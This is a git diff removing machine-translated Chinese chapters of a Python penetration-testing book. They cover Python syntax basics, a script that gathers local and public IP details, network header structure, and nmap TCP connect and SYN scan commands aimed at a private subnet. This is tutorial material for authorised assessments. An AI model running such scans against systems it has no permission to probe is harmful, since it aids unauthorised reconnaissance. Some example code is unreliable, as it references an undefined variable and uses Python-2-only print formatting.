in`混淆,后者是成员操作符的一部分。`not`测试与组合条件测试相反。下面的例子特别强调了这一点;如果两个值或`False`或不相等,则满足条件;否则,测试将失败。这样做的原因是测试会检查两者是否同时存在。类似于此的示例并不常见,但如果您对逻辑流还不满意,则可以避免此类代码: - -``` -#!/usr/bin/env python - -a = False -b = False -if not(a and b): - print("The condition has been met") -else: - print("The condition has not been met") - -``` - -相反,成员操作符测试作为变量一部分的值。这类操作员有两种,`in`和`not in`。以下是其用法的示例: - -``` -#!/usr/bin/env python - -variable = "X-Team" - -if "Team" in variable: - print("The value of Team is in the variable") -else: - print("The value of Team is not in the variable") - -``` - -此代码的逻辑将导致语句返回为`True`,第一条条件消息将打印到屏幕上。 - -# 复合语句 - -复合语句包含其他语句。这意味着在`true`或`false`执行自身语句时进行测试或执行。诀窍在于编写语句,使其高效。这方面的例子包括`if then`语句、循环和异常处理。 - -## if 语句 - -`if`语句测试特定条件,如果满足(或未满足)该条件,则执行该语句。`if`语句可以包括一个简单的检查,查看变量是`true`还是`false`,然后打印详细信息,如下例所示: - -``` -x = 1 -if x == 1: - print("The variable x has a value of 1") - -``` - -`if`语句甚至可以用于同时检查多个条件。请记住,它将执行符合条件的复合语句的第一部分,并跳过其余部分。下面是一个基于上一个示例的示例,使用了`else`和`elif`语句。如果不满足`if`或`elif`陈述,则**else**陈述是一个包罗万象的陈述。`elif`测试是后续`if`测试。可在`if`之后和`else`之前测试其状态。请参考以下示例以更好地理解这一点: - -``` -#!/usr/bin/env python -x=1 -if x == 3: - print("The variable x has a value of 3") -elif x == 2: - print("The variable x has a value of 2") -elif x == 1: - print("The variable x has a value of 1") -else: - print("The variable x does not have a value of 1, 2, or 3") - -``` - -从这些语句中可以看到,第二条`elif`语句将处理结果。将`x`的值更改为其他值,然后查看脚本流是如何工作的。 - -记住一件事:测试条件需要仔细考虑测试结果。以下是一个`if`测试的示例,该测试可能无法根据变量值提供预期结果: - -``` -#!/usr/bin/env python - -execute=True -if execute != False: - print("Do you want to play a game?\n") - -``` - -此脚本将`execute`变量设置为`True`。然后,`if`是带有`print`语句的脚本。如果变量未设置为`True`且也未设置为`False`,则该语句仍将被打印。原因是我们只是测试`execute`变量不等于`False`。只有将`execute`设置为`False`时,才会打印任何内容。 - -## Python 循环 - -循环是一个反复执行的语句,直到满足或不满足条件为止。如果一个循环是在另一个循环中创建的,则称为嵌入式循环。在渗透测试中,通常不认为在彼此之间具有多个回路是最佳实践。这是因为如果控制不当,可能会造成内存耗尽的情况。循环有两种主要形式:`while`循环和`for`循环。 - -### while 循环 - -当情况为真或假,并且只要条件有效,您希望执行测试时,`while`循环就非常有用。例如,此`while`循环检查`x`的值是否大于`0`,如果大于,则循环继续处理数据: - -``` -x=5 -while x > 0: -print("Your current count is: %d") % (x) - x -= 1 - -``` - -### for 循环 - -`for`循环是执行的,其思想是已经建立了一个已定义的情况,并将对其进行测试。作为一个简单的示例,您可以创建一个脚本,对 1 到 15 之间的一系列数字进行计数,每次一个数字,然后打印结果。下面的`for`循环语句示例实现了这一点: - -``` -for iteration in range(1,15,1): - print("Your current count is: %d") % (iteration) - -``` - -#### 断裂条件 - -`break`条件用于退出循环并继续处理下一条语句中的脚本。当循环中出现特定情况而不是循环的下一次迭代时,中断用于控制循环。即使中断可以用来控制循环,你也应该考虑编写代码,这样你就不需要休息了。如果变量值等于`5`,则具有`break`条件的以下循环将停止执行: - -``` -#!/usr/bin/ -numeric = 15 -while numeric > 0: - print("Your current count is: %d") %(numeric) - numeric -= 1 - if numeric == 5: - break -print("Your count is finished!") -``` - -此脚本的输出如下所示: - -![The break condition](graphics/B04315_02_18.jpg) - -虽然这样做是可行的,但如果脚本设计得更好,也可以达到同样的效果,如下代码所示: - -``` -#!/usr/bin/env python - -numeric = 15 -for iteration in range(numeric,5,-1): - print("Your current count is: %d") % (iteration) - -print("Your count is finished!") - -``` - -正如您在这里看到的,使用更干净、更易于管理的代码也会产生相同的结果: - -![The break condition](graphics/B04315_02_19.jpg) - -## 条件处理程序 - -Python 和许多其他语言一样,能够处理异常或相对意外的情况。在这种情况下,将发生捕获并捕获错误和后续活动。这由处理条件的`try`和`except`子句完成。作为一个例子,我经常使用条件处理程序来确定是否安装了必要的库,如果没有安装,它会告诉您如何以及从何处获取它。这是一个简单但有效的例子: - -``` -try: - import docx - from docx.shared import Inches -except: - sys.exit("[!] Install the docx writer library as root or through sudo: pip install python-docx") - -``` - -# 功能 - -Python 函数允许脚本编写者创建可重复的任务,并在整个脚本中频繁调用。当函数是类或模块的一部分时,这意味着一旦导入以执行任务,就可以从另一个脚本(也称为模块)调用脚本的特定部分。使用 Python 函数的另一个好处是减少了脚本大小。通常意想不到的好处是能够将函数从一个脚本复制到另一个脚本,从而加快开发速度。 - -## 动态类型语言对函数的影响 - -请记住,变量包含对对象的引用,因此在编写脚本时,您正在使用引用该值的变量执行测试。关于这一点的一个事实是,变量可以更改,并且仍然可以指向原始值。当通过参数将变量传递给函数时,它将作为原始对象的别名进行传递。因此,在编写函数时,函数中的变量名通常是不同的,应该是不同的。这使得故障排除更容易,脚本更清晰,错误控制更准确。 - -## 花括号 - -如果你曾经用另一种语言写作,那么有一件事会让你感到惊讶,那就是没有像这样的花括号:`{}`。这通常用于描述逻辑测试或复合语句的代码在何处停止和开始,例如循环、`if`语句、函数甚至整个类。相反,Python 使用前面提到的缩进方法,缩进越深,语句嵌套得越多。 - -### 注 - -嵌套语句或函数意味着在逻辑测试或复合语句中,另一个逻辑测试正在执行。一个例子是另一个`if`语句中的`if`语句。本章后面将看到更多此类示例。 - -为了查看 Python 和其他语言中的逻辑测试之间的差异,将显示一个称为子例程的 Perl 函数示例。还将演示一个等效的 Python 函数,以展示这些差异。这将突出显示 Python 如何控制脚本中的逻辑流。请随意尝试这两种脚本,看看它们是如何工作的。 - -### 注 - -由于包含了一个`return`语句,下面的 Python 脚本略长于 Perl 脚本。这对于这个脚本不是必需的,但这是许多脚本编写者养成的习惯。此外,正如您所看到的,`print`语句已经修改,以支持 Python 的 2.X 版和 3.X 版。 - -以下是`Perl`功能的一个示例: - -``` -#!/usr/bin/env perl - -# Function in Perl -sub wargames{ - print "Do you want to play a game?\n"; -print "In Perl\n"; -} - -# Function call -wargames(); - -``` - -以下函数在 Python 中是等效的: - -``` -#!/usr/bin/env python - -# Function in Python -def wargames(): - print("Do you want to play a game?") -print("In Python") -return - -# Function call -wargames() - -``` - -这两个脚本的输出都可以在这个屏幕截图中看到: - -![Curly brackets](graphics/B04315_02_03.jpg) - -相反,在 Python 中,花括号用于字典,如本章的*Python 变量*部分所述。 - -## 如何注释您的代码 - -在脚本语言中,注释用于阻止代码和/或描述它试图实现的内容。Python 中有两种类型的注释:单行注释和多行注释。单行注释使从`#`符号到行尾的所有内容都成为注释;它不会被解释。如果您将代码放在行上,然后在行尾添加注释,代码仍将被处理。下面是一个有效使用单行注释的示例: - -``` -#!/usr/bin/env python -#Author: Chris Duffy -#Date: 2015 -x = 5 #This defines the value of the x followed by a comment - -``` - -这是可行的,但是使用多行注释做同样的事情可能更容易,因为前面代码中有两行是注释。多行注释是通过在注释块开始和结束的每行中放置三个引号来创建的。以下代码显示了这方面的示例: - -``` -""" -Author: Chris Duffy -Date: 2015 -""" - -``` - -# Python 风格指南 - -在编写脚本时,需要遵守一些脚本和编程常见的命名约定。这些惯例更多的是指导方针和最佳实践,而不是硬性规定,这意味着你将听取双方的意见。由于脚本是一种艺术形式,您将看到反驳这些建议的示例,但遵循这些示例将提高可读性。 - -### 注 - -这里的大多数建议都是从 Python 的样式指南中借来的,可以在[中找到 http://legacy.python.org/dev/peps/pep-0008/](http://legacy.python.org/dev/peps/pep-0008/) 和后续样式指南。 - -如果您在这里看到与本指南不直接匹配的细节,请记住,所有评估员都会养成不同的习惯和风格。诀窍是在不影响开发速度和质量的情况下,尽可能多地采用最佳实践。 - -## 课程 - -类通常以大写字母开头,第一个单词的其余部分为小写。之后的每个单词都以大写字母开头。因此,如果您看到正在使用一个已定义的引用,并且它以大写字母开头,那么它很可能是一个类或模块名。用于定义类的单词之间不应使用空格或下划线,尽管人们通常会忘记或违反此规则。 - -## 功能 - -在开发函数时,请记住单词应该是小写的,并用下划线分隔。 - -## 变量和实例名称 - -变量和实例应为小写,并用下划线分隔单词,如果它们是私有的,则必须以两个下划线开头。`Public`和`Private`变量在主要编程语言中很常见,但在 Python 中,它们并不是真正必要的。如果您想在 Python 中模拟`private`变量的功能,可以使用`__`引导该变量将其定义为 private。Python 中私有成员的主要好处是防止名称空间冲突。 - -# 参数和选项 - -有多种方式可以将参数传递给脚本;我们将在以后的章节中对此进行更多介绍,因为它们适用于特定的脚本。获取参数的最简单方法是不带选项地传递参数。参数是传递给脚本的值,为脚本提供一些动态功能。 - -选项是表示对脚本的特定调用的标志,说明将要提供的参数。换句话说,如果您想获得脚本的帮助或使用说明,通常需要传递`-h`选项。如果编写的脚本同时接受 IP 地址和 MAC 地址,则可以将其配置为使用不同的选项来表示将要呈现给它的数据。 - -编写脚本以获取选项要详细得多,但并不像人们想象的那么难。现在,让我们看看基本的参数传递。参数可以通过`sys`库和`argv`函数本机生成。传递参数时,将在`sys.argv`中创建一个包含参数的列表,该列表从位置 0 开始。 - -`argv`提供的第一个参数是脚本运行的名称,之后提供的每个参数代表其他参数值: - -``` -#!/usr/bin/env python - -import sys - -arguments = sys.argv -print("The number of arguments passed was: %s") % (str(len(arguments))) -i=0 -for x in arguments: - print("The %d argument is %s") % (i,x) - i+=1 - -``` - -此脚本的输出产生以下结果: - -![Arguments and options](graphics/B04315_02_20.jpg) - -# 您的第一个评估员脚本 - -现在您已经了解了用 Python 创建脚本的基本知识,让我们创建一个对您实际有用的脚本。在后面的章节中,您需要知道每个接口的本地和公共 IP 地址、主机名、**媒体访问控制**(**MAC**地址)和**完全限定域名**(**FQDN**)。下面的脚本演示了如何执行所有这些。这里的一些概念似乎仍然是陌生的,特别是如何从接口中提取 IP 和 MAC 地址。别担心;这不是你要写的脚本。如果您愿意,您可以使用这个脚本,但这里向您展示的是,您可以修复脚本的组件,甚至是看似复杂的组件,以开发您自己的简单脚本。 - -### 注 - -此脚本使用一种技术,通过基于在几个 Python 模块和示例中使用的接口查询详细信息来提取 Linux/Unix 系统的 IP 地址。这项技术的具体配方可以在许多地方找到,但有关这项技术的最佳参考文献可以在[中找到 http://code.activestate.com/recipes/439094-get-the-ip-address-associated-with-a-network-inter/](http://code.activestate.com/recipes/439094-get-the-ip-address-associated-with-a-network-inter/) 。 - -让我们将脚本分解为它的组件。该脚本使用了一些函数,使执行更清晰、可重复。第一个函数称为`get_ip`。它获取接口名称,然后尝试标识该接口的 IP 地址: - -``` -def get_ip(inter): - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - ip_addr = socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', inter[:15]))[20:24]) - return ip_addr - -``` - -第二个函数称为`get_mac_address`,用于识别特定接口的 MAC 地址: - -``` -def get_mac_address(inter): - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', inter[:15])) - mac_address = ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1] - return mac_address - -``` - -如您所见,这些函数依赖于套接字库的低级网络接口语言。你的注意力不应该放在理解这个函数的每一个细节上,而应该放在信息流、使用的变量类型以及库是如何集成上。原因是您将在以后生成一个脚本,该脚本需要更少的组件,并在以后复制获取公共 IP 地址的活动。 - -第三个函数获取主机的详细信息,并将其返回到脚本的主要部分。它确定主机是否为 Windows,以便调用正确的函数。该函数接受两个列表,一个用于以太网接口,另一个用于 Linux/Unix 中典型的无线接口。这些接口通过在此较大函数中调用的先前函数进行处理。这允许`get_localhost_details`函数处理决策,然后返回主机的值,该值将由脚本末尾的`print`语句表示: - -``` -def get_localhost_details(interfaces_eth, interfaces_wlan): - hostdata = "None" - hostname = "None" - windows_ip = "None" - eth_ip = "None" - wlan_ip = "None" - host_fqdn = "None" - eth_mac = "None" - wlan_mac = "None" - windows_mac = "None" - hostname = socket.gethostbyname(socket.gethostname()) - if hostname.startswith("127.") and os.name != "nt": - hostdata = socket.gethostbyaddr(socket.gethostname()) - hostname = str(hostdata[1]).strip('[]') - host_fqdn = socket.getfqdn() - for interface in interfaces_eth: - try: - eth_ip = get_ip(interface) - if not "None" in eth_ip: - eth_mac = get_mac_address(interface) - break - except IOError: - pass - for interface in interfaces_wlan: - try: - wlan_ip = get_ip(interface) - if not "None" in wlan_ip: - wlan_mac = get_mac_address(interface) - break - except IOError: - pass - else: - windows_ip = socket.gethostbyname(socket.gethostname()) - windows_mac = hex(getnode()).lstrip('0x') - windows_mac = ':'.join(pos1+pos2 for pos1,pos2 in zip(windows_mac[::2],windows_mac[1::2])) - hostdata = socket.gethostbyaddr(socket.gethostname()) - hostname = str(hostdata[1]).strip("[]\'") - host_fqdn = socket.getfqdn() - return hostdata, hostname, windows_ip, eth_ip, wlan_ip, host_fqdn, eth_mac, wlan_mac, windows_mac -``` - -这个脚本中的最后一个函数叫做`get_public_ip`,它查询一个已知的网站,寻找与之连接的 IP 地址。此 IP 地址以简单的原始格式返回到网页。有许多站点可以进行此操作,但请确保您了解可接受的使用和授权的服务条款。该函数接受一个输入,即您正在对其执行查询的网站: - -``` -def get_public_ip(request_target): - grabber = urllib2.build_opener() - grabber.addheaders = [('User-agent','Mozilla/5.0')] - try: - public_ip_address = grabber.open(target_url).read() - except urllib2.HTTPError, error: - print("There was an error trying to get your Public IP: %s") % (error) - except urllib2.URLError, error: - print("There was an error trying to get your Public IP: %s") % (error) - return public_ip_address -``` - -对于 Windows 系统,此脚本使用简单的`socket.gethostbyname(socket.gethostname())`函数请求。这确实适用于 Linux,但它依赖于`/etc/hosts`文件为所有接口提供正确的信息。正如前面的参考文献所指出的,`netifaces`库可以替换此脚本的大部分内容。这将大大简化脚本,其使用示例将在下一章中显示。默认情况下不安装`netifaces`库,因此您必须在要运行此脚本的每台主机上安装它。由于您通常不希望对主机的完整性造成任何影响,因此此特定脚本旨在避免这种冲突。 - -### 提示 - -此脚本的最终版本可在[找到 https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/hostdetails.py](https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/hostdetails.py) 。 - -下面的屏幕截图显示了运行此脚本的输出。此脚本的组件将在后面的章节中使用,它们允许自动开发利用配置和网络侦察。 - -![Your first assessor script](graphics/B04315_02_21.jpg) - -因此,您有用的脚本将获取此脚本的组件,并仅查找您所在系统的公共 IP 地址。我建议您在查看以下代码(显示实际脚本的样子)之前尝试这样做。如果要跳过此步骤,可在此处查看解决方案: - -``` -import urllib2 - -def get_public_ip(request_target): - grabber = urllib2.build_opener() - grabber.addheaders = [('User-agent','Mozilla/5.0')] - try: - public_ip_address = grabber.open(target_url).read() - except urllib2.HTTPError, error: - print("There was an error trying to get your Public IP: %s") % (error) - except urllib2.URLError, error: - print("There was an error trying to get your Public IP: %s") % (error) - return public_ip_address -public_ip = "None" -target_url = "http://ip.42.pl/raw" -public_ip = get_public_ip(target_url) -if not "None" in public_ip: - print("Your Public IP address is: %s") % (str(public_ip)) -else: - print("Your Public IP address was not found") -``` - -脚本的输出应类似于以下内容: - -![Your first assessor script](graphics/B04315_02_22.jpg) - -### 提示 - -此脚本可在[找到 https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/publicip.py](https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/publicip.py) 。 - -# 总结 - -本章重点介绍 Python 脚本语言的基本工作原理,并通过示例开发自己的代码。它还指出了与创建评估脚本相关的常见陷阱。本章的最后一节重点介绍如何创建有用的脚本,甚至只需将已生成示例的组件拼接在一起。 - -在下一章中,我们将使用`nmap`、`scapy`和 Python 自动化对环境进行适当的侦察,从而更深入地探讨这个主题。 \ No newline at end of file diff --git a/trans/py-pentest-dev/03.md b/trans/py-pentest-dev/03.md deleted file mode 100644 index eebb295..0000000 --- a/trans/py-pentest-dev/03.md +++ /dev/null @@ -1,757 +0,0 @@ -# 第 3 章:使用 Nmap、Scapy 和 Python 识别目标 - -目标识别、网络监视和主动侦察都是您可以看到的相互替代的术语,用于描述评估环境的初始过程。根据您使用的框架,例如 PTE、自定义公司方法或其他行业标准,这些术语的含义可能不同。需要记住的重要一点是,您正在查看哪些主机处于批准的范围内,以及它们具有哪些开放和响应的服务、端口和功能。 - -这些方面将决定您将从此处执行哪些活动。通常,这一阶段是短暂的,评估人员会直接利用他们看到的对扫描有反应的系统。新的评估员不是有条不紊地研究可能的目标,而是全力以赴。这可能在之前的项目中对他们很有帮助,他们很快就达到了目标,但以这种方式进行评估的其他影响很多评估人员都没有意识到。 - -他们甚至可能错过更容易利用的低垂果实系统。因此,如果作为评估员,您没有看到这一点,而恶意行为人可能看到了这一点,那么几个月后,您可能会与客户进行一次不愉快的对话,讨论您为何错过了此漏洞。但是,请记住,渗透测试是时间的快照,环境总是在变化。环境中的控制和限制被调整,系统经常被重新分配。因此,在新的评估中可能会出现旧的漏洞。有条不紊意味着你可以找到不止一个悬而未决的目标,这可以帮助你与客户建立融洽的关系,从而获得更多的工作。最重要的是,它将指出客户的缺陷的根本原因,如果这些缺陷没有得到修复,这些缺陷将继续导致控制失效。 - -可以说,你从一个跳过枪的人身上看到的评估员的最大影响是,他们可能开始利用在组织中没有重要用途的系统。这意味着,尽管他们破解了一个盒子,但它没有提供任何通过网络移动的价值,或者该漏洞不可利用,因此,它可能被视为误报。因此,所有这些最初的扫描都必须重新开始,这浪费了宝贵的时间,增加了无法实现交战目标的可能性。要了解如何扫描网络,您必须首先了解网络帧、数据包、消息和数据报,以便可以对它们进行操作。 - -# 了解系统如何通信 - -有整整一系列的书专门讲述网络如何沟通;本章将从一些非常基本的信息开始。如果您已经理解了这些数据,我建议您作为复习阅读,以防涉及到一些新的或不同的细节。此外,还参考了一些标题组件和有效负载的大小。这些是关于如何引用网络协议的细节,以及协议如何根据传输的数据和/或专业网络中的差异而有所不同。 - -当系统生成数据时,通过系统的**传输控制协议**(**TCP**)/**互联网协议**(**IP**栈)向下发送。这将数据打包成可以通过电线传输的东西。如果您听说过**开放系统互连**(**OSI**)模型,那么您知道这就是人们讨论系统如何处理数据的方式,而 TCP/IP 模型是系统实际操作的方式。 - -### 注 - -每个系统都有一个 TCP/IP 堆栈,它代表 TCP/IP 模型的实现。理解套接字是执行通信的工具是很重要的。这是通过链接源和目标 IP 地址以及源和目标端口来实现的。 - -有一个称为**临时端口范围**的端口范围。它的范围因系统而异。这些端口也称为动态端口,客户端将其用作通过套接字进行通信的源端口。它们也可以是服务器上已知服务的目标端口,前提是已知端口是针对目标而设计的通信代理。诸如**文件传输协议**(**FTP**等服务使用此技术。您必须知道这一点的原因是,在尝试和识别目标时,通常不需要扫描这些临时端口,因为它们很少是服务启动器。因此,它们是短暂的,并且仅与特定通信流相关联。 - -### 提示 - -请记住,管理员通常会在这些较高的端口范围中隐藏已知服务,以尝试创建无法识别服务的情况。这被称为**模糊安全**。在扫描多台主机时,您可能需要避免扫描这些范围,因为这样做需要花费更多的时间。如果尚未识别许多服务,或者目标网络中有一些主机,则可能需要将这些主机包括在扫描范围内。 - -第四层报头表示 TCP 和**用户数据报协议**(**UDP**报头以及特定 IP 的端口目标连接。第三层头表示 IP 和**互联网控制消息协议**(**ICMP**)头。第二层报头与帧报头、拖车和**地址解析协议**(**ARP**相关。下图描述了两个系统之间通信的帧生成方法: - -![Understanding how systems communicate](graphics/B04315_03_1.jpg) - -既然您已经了解了框架是如何自上而下生成的,那么让我们向上移动堆栈,看看如何解构每个组件以获取数据。从这里开始,您将从以太网帧开始。 - -## 以太网帧结构 - -帧是中数据从主机到主机的传输方式,帧由多个组件组成。您可以在 wiki 和工程文档中阅读大量与框架相关的信息,但有几件事您需要了解。帧通过称为**媒体访问控制**(**MAC**)地址的硬件地址进行通信。无线网络和以太网的帧略有不同。此外,在帧的末尾是校验和。这是一种基本的数学检查,用于在数据通过导线传输后验证数据的完整性。以下是以 TCP 端口为最终目标的以太网帧的屏幕截图: - -![The Ethernet frame architecture](graphics/B04315_03_2.jpg) - -下一个屏幕截图表示以 UDP 端口为结束目标的帧的内容: - -![The Ethernet frame architecture](graphics/B04315_03_3.jpg) - -### 以太网中的第二层 - -帧用于在默认网关内的广播域或位置内进行通信,或在通过路由器之前进行通信。一旦路由器通过,其路由器硬件地址的接口将用于下一个广播域。这些也通常根据设备之间的通信协议以帧的形式发送。这会一次又一次地进行,直到帧到达由 IP 地址划定的目的地。了解这一点非常重要,因为如果您希望使用 Responder 或 eTerCap 等工具运行大多数**中间人**(**MitM**)攻击,您必须在广播域内,因为它们是第 2 层攻击。 - -### 无线网络中的第二层 - -无线攻击的概念非常相似,因为您必须在**服务集标识符**(**SSID**或实际无线网络名称的范围内。根据无线网络的设计,您的通信列车略有不同,但您使用的**接入点**(AP)由**基本服务集标识符**(**BSSID**)区分,这是 AP MAC 地址的一个别致名称。 - -一旦您通过 AP 关联并认证到网络中,您就是**基本服务集**(**BSS**或企业网络组件的一部分,但仅限于 AP 的范围。 - -如果您进入无线网络并与新 AP 关联,因为信号更好,您将成为新 BSS 的一部分。所有 BSS 都是**企业服务集****ESS**的一部分;有趣的是,如果无线网络包含多个 AP,那么它就是 ESS。为了能够与无线工程师沟通,您必须了解,如果您在企业无线网络中,SSID 实际上被称为**企业 SSID**(**ESSID**)。现在,您已经了解了第 2 层头,是时候看看 IP 头了。 - -### 注 - -根据您正在阅读的网络文档,如果存在**配电系统**(**DS**)和一个 AP,或者两个 AP 和一个 DS,则会创建 ESS。DS 只是连接 AP 的非无线网络的一个别致的名称。记住这一点很重要,因为根据公司使用的产品品牌,行话可能略有不同。 - -## IP 分组架构 - -IP 报头包含通过使用 IP 地址的网络进行通信所需的数据。这允许通信流超出广播域。下图显示了 IPv4 标头的示例标头: - -![The IP packet architecture](graphics/B04315_03_4.jpg) - -你可能已经读到了 IPv4 即将结束,或者说它即将结束。嗯,正如你可能听说的那样,替代品是 IPv6。这个新的地址方案提供了大量新的主机地址,但正如您在两种头类型的比较中所看到的,字段要少得多。需要知道的一件事是,与 IPv4 相比,IPv6 存在大量与之相关的漏洞。 - -这有很多原因,但最重要的原因是,当组织将安全概念应用于其网络时,他们忘记了默认情况下支持 IPv6 并启用了 IPv6。这意味着,当他们配置保护机制时,他们通常使用 IPv4 地址。如果启用了 IPv6,且安全设备不知道网络中的不同地址类型或与这些设备的关联,则攻击可能会被忽略。 - -这样想吧:假设你有一所房子,有前门和后门,只有前门有保安。这所房子的实际地址是一样的,但是你进去的方式完全不同,因为它有两扇不同的门。这个安全概念是非常相似的,因此,组织应该记住,IPv6 可以打开一个组织的新漏洞,如果它不仔细考虑影响。下图显示了 IPv6 数据包结构的示例: - -![The IP packet architecture](graphics/B04315_03_5.jpg) - -## TCP 报头架构 - -相对而言,TCP 数据包头比 UDP 数据包头大得多。它必须适应必要的顺序、标志和控制机制。具体地说,数据包用于使用许多不同的标志处理会话设置和拆卸。攻击者可以通过操纵这些标志从目标系统获取响应。 - -下图显示了 TCP 标头: - -![The TCP header architecture](graphics/B04315_03_6.jpg) - -## 了解 TCP 的工作原理 - -在您了解如何执行扫描和识别主机之前,您需要了解 TCP 通信流是如何工作的。TCP 是一种面向连接的协议,这意味着在两个系统之间建立会话。一旦发生这种情况,就可以发送最初用于通信的信息,并且当所有数据都已发送时,连接将关闭。 - -### TCP 三方握手 - -TCP 握手也称为三向握手。这意味着在建立通信套接字之前,在两个系统之间来回发送三条消息。这三条消息是 SYN、SYN-ACK 和 ACK。试图启动连接的系统从设置了`SYN`标志的数据包开始。应答系统返回设置了`SYN`和`ACK`标志的数据包。最后,发起系统将设置有`ACK`标志的数据包返回给原始目标系统。在较旧的系统中,如果通信列车未完成,可能会出现意外后果。如今,大多数系统都足够智能,只需**重置**(**RST**)连接或优雅地关闭连接即可。 - -## UDP 报头架构 - -TCP 是一种面向连接的协议,而 UDP 是一种简单的面向无连接的协议。如下图所示,UDP 数据包的报头要简单得多。这是因为与 TCP 相比,UDP 维护套接字的开销要少得多。 - -![The UDP header architecture](graphics/B04315_03_7.jpg) - -## 了解 UDP 的工作原理 - -UDP 与监听端口建立通信流。该端口接受数据,并根据需要在 TCP/IP 堆栈上运行它。虽然同步和可靠的通信需要 TCP,但 UDP 不是。多媒体演示是 UDP 通信的最佳示例。如果你正在看一部电影,你不会在意一个可能丢失的包,因为即使它是重新出现的,在电影从最初的打嗝开始放映之后再放映也没有意义。既然您已经了解了系统通信的基础知识,那么您需要了解如何使用不同的标志来使用 Nmap 扫描技术收集所需的数据。 - -### 注 - -每一次扫描都有不同的目的,特定的标志会从操作系统中引发不同的响应,这取决于它们是否按顺序接收。nmap 端口扫描技术网页[http://nmap.org/book/man-port-scanning-techniques.html](http://nmap.org/book/man-port-scanning-techniques.html) 简洁地详述了该信息。 - -# 理解 Nmap - -如果有一个工具在大多数顶级和新的评估工具包中无处不在,那就是 nmap。您可能会发现不同的利用框架、web 应用程序工具和其他首选项,但 nmap 是许多评估形式的主要工具。现在,这并不是说没有其他工具可以使用类似的功能执行;只是他们没有那么能干。这包括 Angyip、HPing、FPing、NetScan、Unicorn scan 等工具。从所有这些工具中,只有两个明显不同,它们是 HPing 和 Unicorn scan。 - -我看到新评估员在使用 nmap 时犯的最大错误是一次从同一主机执行多个扫描。他们没有意识到的是,nmap 使用主机操作系统的集成 TCP/IP 堆栈。这意味着执行的任何附加扫描都不会加快结果的速度;相反,操作系统 TCP/IP 堆栈必须同时处理多个会话。这反过来不仅会减慢每次扫描的结果,还会增加错误,因为每个接收到的数据包都会影响结果,具体取决于它接收到的实例。 - -每个丢失的数据包可能会重新发送;这意味着扫描速度会减慢,这不仅是因为重新发送的数据包的数量,还因为不一致的结果和受限的 TCP/IP 堆栈。这意味着每个主机只能执行一个 nmap 扫描实例。因此,您必须尽可能高效。那么解决方案是什么呢?可以使用 nmap 使用主机 TCP/IP 堆栈和 Unicorn 扫描执行扫描,Unicorn 扫描包含自己的 TCP/IP 堆栈。事实是,通过有效地使用 nmap 而不是同时使用多个工具,可以避免整个情况,因为这会占用相对的时钟周期。 - -因此,除了处理驻留 TCP/IP 堆栈的限制外,还存在通过 nmap 操作详细数据包的限制。HPing 提供了相对容易地创建满足特定目的的自定义数据包的能力。尽管有这种定制,HPing 仅在以定制方式针对单个主机执行测试时有效。如果多台主机需要相对定制的简单 ping,那么 FPing 应该是首选工具。这尤其是因为 FPing 在**标准输出**(**标准输出**中产生的结果易于分析,以产生高效和有用的结果。这并不是说 nmap 不是一个高度可配置的工具,而是要指出,它不是一个有经验和智能的评估员的替代品,每个工具都有它的位置。因此,您需要了解其局限性,并根据需要进行补充。 - -## 输入 Nmap 的目标范围 - -Nmap 可以通过**标准输入**(**标准输入**)或通过文件直接从**命令行界面**(**CLI**传递数据时,输入目标。对于 CLI,这可以通过多种方式实现,包括一系列 IP 地址,以及 IP 地址的**无类域间路由**(**CIDR**)符号。对于文件,IP 地址可以通过上述方法传递,包括 CIDR 表示法、IP 地址和范围,也可以通过由换行符或回车分隔的 IP 列表传递。要通过 CLI 传递数据,用户所要做的就是在命令末尾显示该片段,如下所示: - -``` -nmap -sS -vvv -p 80 192.168.195.0/24 - -``` - -对于文件输入法,所需的只是`-iL`选项,后跟文件名: - -``` -nmap -sS -vvv -p 80 -iL nmap_subnet_file - -``` - -## 执行不同的扫描类型 - -Nmap 有大量的支持的不同扫描,但这里并不是全部。相反,我们将重点关注您在评估中使用最多的扫描。您主要使用的四种扫描是 TCP 连接扫描(也称为完全连接扫描)、SYN 扫描(也称为半开放或隐藏扫描)、ACK 扫描和 UDP 扫描。这些都是为将来的脚本编写工作而突出显示的级别集知识。 - -### 注 - -执行外部测试时,您可能会被自动阻止或回避。这可以由客户的**互联网服务提供商****ISP**或其**信息技术****IT**团队执行。您应该始终拥有备份公共 IP 地址,以防主 IP 地址被阻止。然后,避免做之前阻碍你的事情。下一步,当你看到客户做一个积极的块文件,因为这种积极的活动突出了他们应该考虑在哪里继续他们的投资和他们有差距。 - -### 执行 TCP 全连接扫描 - -TCP 连接扫描是 nmap 最响亮或最容易检测的扫描之一,但它也是消除误报的最佳扫描之一。早些时候,**事件响应(IR)**和安全团队非常关注是什么在扫描周界,以便确定何时会受到攻击。随着周界产生的噪音变得过多,时代发生了变化,以前看到的大部分访问都通过更先进的防火墙得到了缓解。如今,IR 团队再次关注周边环境,并利用他们看到的活动关联事件和未来进入网络的潜在尝试,或跟进与已执行攻击相关的后续行动。 - -TCP 连接扫描可能提供最准确的结果,但自动回避机制通常会在**互联网服务提供商**(**ISP**处阻断扫描源。要执行 TCP 扫描,您所要做的就是用`-sT`指示相关的扫描类型,如所示: - -``` -nmap -sT -vvv -p 80 192.168.195.0/24 - -``` - -### 注 - -我评估过许多组织,它们只能通过完全连接扫描进行扫描,因为如果执行 SYN 扫描,它们会立即避开连接。诀窍是了解您的目标以及他们的环境有多先进。其中大部分可在交战前阶段确定。 - -### 执行 SYN 扫描 - -SYN 扫描是一种 TCP 扫描,它们是您在约会期间可能运行的最显著的扫描。原因是它们比 TCP 连接扫描快得多,而且安静得多。但是,它们不适用于设备类型非常陈旧或敏感的环境。虽然大多数现代系统在没有及时收到 ACK 响应的情况下关闭连接不会有问题,但其他系统可能会有问题。过去曾多次出现过这样的情况:如果连接未完成,某些遗留系统可能会出现**拒绝服务**(**拒绝服务**情况。如今,这些产品非常稀少,但总是考虑客户的关注,因为他们比你更了解自己的环境。 - -SYN 扫描仅使用`-sS`标志执行,如下所示: - -``` -nmap -sS -vvv -p 80 192.168.195.0/24 - -``` - -### 执行确认扫描 - 